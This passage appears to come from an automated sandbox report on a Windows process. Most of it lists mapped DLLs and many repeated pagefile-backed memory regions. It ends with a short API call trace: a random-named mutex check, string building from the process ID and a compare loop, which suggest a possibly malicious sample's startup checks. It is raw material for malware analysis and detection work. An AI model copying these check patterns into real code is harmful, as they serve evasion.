"pagefile_0x00000000003c0000" filename = "" Region: id = 2812 start_va = 0x74600000 end_va = 0x74659fff entry_point = 0x74600000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\SysWOW64\\netprofm.dll" (normalized: "c:\\windows\\syswow64\\netprofm.dll") Region: id = 2813 start_va = 0x745f0000 end_va = 0x745fdfff entry_point = 0x745f0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 2814 start_va = 0x2850000 end_va = 0x288ffff entry_point = 0x0 region_type = private name = "private_0x0000000002850000" filename = "" Region: id = 2815 start_va = 0x2970000 end_va = 0x29affff entry_point = 0x0 region_type = private name = "private_0x0000000002970000" filename = "" Region: id = 2816 start_va = 0x2ed0000 end_va = 0x2fcffff entry_point = 0x0 region_type = private name = "private_0x0000000002ed0000" filename = "" Region: id = 2817 start_va = 0x745e0000 end_va = 0x745e7fff entry_point = 0x745e0000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\SysWOW64\\npmproxy.dll" (normalized: "c:\\windows\\syswow64\\npmproxy.dll") Region: id = 2818 start_va = 0x7efa1000 end_va = 0x7efa3fff entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 2944 start_va = 0x745d0000 end_va = 0x745dffff entry_point = 0x745d0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\SysWOW64\\NapiNSP.dll" (normalized: "c:\\windows\\syswow64\\napinsp.dll") Region: id = 2945 start_va = 0x745b0000 end_va = 0x745c1fff entry_point = 0x745b0000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" (normalized: "c:\\windows\\syswow64\\pnrpnsp.dll") Region: id = 2946 start_va = 0x74570000 end_va = 0x745abfff entry_point = 0x74570000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 2947 start_va = 0x74560000 end_va = 0x74567fff entry_point = 0x74560000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\SysWOW64\\winrnr.dll" (normalized: "c:\\windows\\syswow64\\winrnr.dll") Region: id = 2948 start_va = 0x74550000 end_va = 0x74554fff entry_point = 0x74550000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll") Region: id = 2949 start_va = 0x74540000 end_va = 0x74545fff entry_point = 0x74540000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll") Region: id = 2950 start_va = 0x74500000 end_va = 0x74537fff entry_point = 0x74500000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 2951 start_va = 0x3f0000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 2952 start_va = 0x2900000 end_va = 0x293ffff entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 2953 start_va = 0x2c30000 end_va = 0x2d2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c30000" filename = "" Region: id = 2954 start_va = 0x2d40000 end_va = 0x2d4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d40000" filename = "" Region: id = 2955 start_va = 0x3160000 end_va = 0x319ffff entry_point = 0x0 region_type = private name = "private_0x0000000003160000" filename = "" Region: id = 2956 start_va = 0x7ef9e000 end_va = 0x7efa0fff entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 2957 start_va = 0x400000 end_va = 0x403fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 2958 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2959 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2960 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2961 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2962 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2963 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2964 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2965 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2966 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2967 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2968 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2969 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2970 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2971 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2972 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2973 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2974 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2975 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2976 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2977 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2978 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2979 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2980 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2981 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2982 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2983 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2984 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2985 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2986 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2987 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2988 start_va = 0x3f0000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 2989 start_va = 0x400000 end_va = 0x403fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 2990 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2991 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2992 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2993 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2994 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2995 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2996 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2997 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2998 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2999 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3000 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3001 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3002 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3003 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3004 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3005 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3006 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3007 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3008 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3009 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3010 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3011 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3012 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3013 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3014 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3015 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3016 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3017 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3018 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3019 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3020 start_va = 0x3f0000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 3021 start_va = 0x400000 end_va = 0x403fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 3022 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3023 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3024 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3025 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3026 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3027 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3028 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3029 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3030 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3031 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3032 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3033 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3034 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3035 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3036 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3037 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3038 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3039 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3040 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3041 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3042 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3043 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3044 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3045 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3046 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3047 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3048 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3049 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3050 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3051 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3052 start_va = 0x3f0000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 3053 start_va = 0x400000 end_va = 0x403fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 3054 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3055 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3056 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3057 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3058 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3059 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3060 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3061 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3062 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3063 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3064 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3065 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3066 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3067 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3068 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3069 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3070 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3071 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3072 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3073 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3074 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3075 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3076 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3077 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3078 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3079 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3080 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3081 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3082 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3083 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3084 start_va = 0x3f0000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 3085 start_va = 0x400000 end_va = 0x403fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 3086 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3087 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3088 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3089 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3090 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3091 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3092 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3093 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3094 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3095 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3096 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3097 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3098 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3099 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3100 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3101 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3102 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3103 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3104 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3105 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3106 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3107 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3108 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3109 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3110 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3111 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3112 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3113 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3114 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3115 start_va = 0x3f0000 end_va = 0x3f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Thread: id = 109 os_tid = 0x7a0 [0123.757] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0123.757] GetLastError () returned 0x2 [0123.757] GetLocalTime (in: lpSystemTime=0x20fc28 | out: lpSystemTime=0x20fc28*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x13, wSecond=0x31, wMilliseconds=0x1f1)) [0123.757] VarI4FromUI1 (in: bIn=0x1, plOut=0x20fc38 | out: plOut=0x20fc38) returned 0x0 [0123.757] GetTickCount () returned 0x558e [0123.757] wsprintfA (in: param_1=0x20fcd0, param_2="%d" | out: param_1="18021902") returned 8 [0123.757] lstrlenA (lpString="18021902") returned 8 [0123.757] GetCurrentProcessId () returned 0x79c [0123.757] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.757] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.759] GetUserDefaultLangID () returned 0x409 [0123.759] GetCurrentProcessId () returned 0x79c [0123.759] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.759] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.759] GetUserDefaultLangID () returned 0x409 [0123.759] GetCurrentProcessId () returned 0x79c [0123.759] wsprintfA (in: param_1=0x20fcd0, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11948") returned 11 [0123.759] lstrcmpA (lpString1="7X6Qcl11948", lpString2="7JWg25") returned 1 [0123.759] GetUserDefaultLangID () returned 0x409 [0123.759] GetCurrentProcessId () 